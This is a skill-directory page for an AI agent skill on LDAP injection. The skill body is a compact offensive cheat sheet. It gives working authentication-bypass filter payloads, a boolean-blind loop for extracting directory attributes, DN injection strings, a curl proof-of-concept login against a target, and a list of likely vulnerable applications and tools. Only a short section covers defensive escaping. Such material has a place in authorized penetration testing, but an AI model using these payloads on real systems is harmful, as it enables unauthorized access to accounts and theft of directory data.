# Ldapi

> LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.

- Skill: `purpleailab/ldapi` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/ldapi`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/ldapi/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/ldapi

---


# LDAP Injection

LDAP filter syntax: `(attr=value)`, combined with `&` (and), `|` (or), `!` (not).
User input concatenated into the filter string = injection.

## 1. Auth bypass

```python
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload — comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
```

## 2. Blind extraction
```python
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c
```

## 3. DN injection
```
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
```

## 4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets

## 5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
- `ldapsearch` to verify directly once you have any cred
- Burp Intruder w/ payloads from `_corpus/payloads/LDAP Injection/`

## 6. PoC
```bash
curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in → bug
```

## 7. Severity

| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |

## 8. Defender

```python
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
```

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/LDAP Injection/`
- AD attack patterns (different layer): `skills/ad/SKILL.md`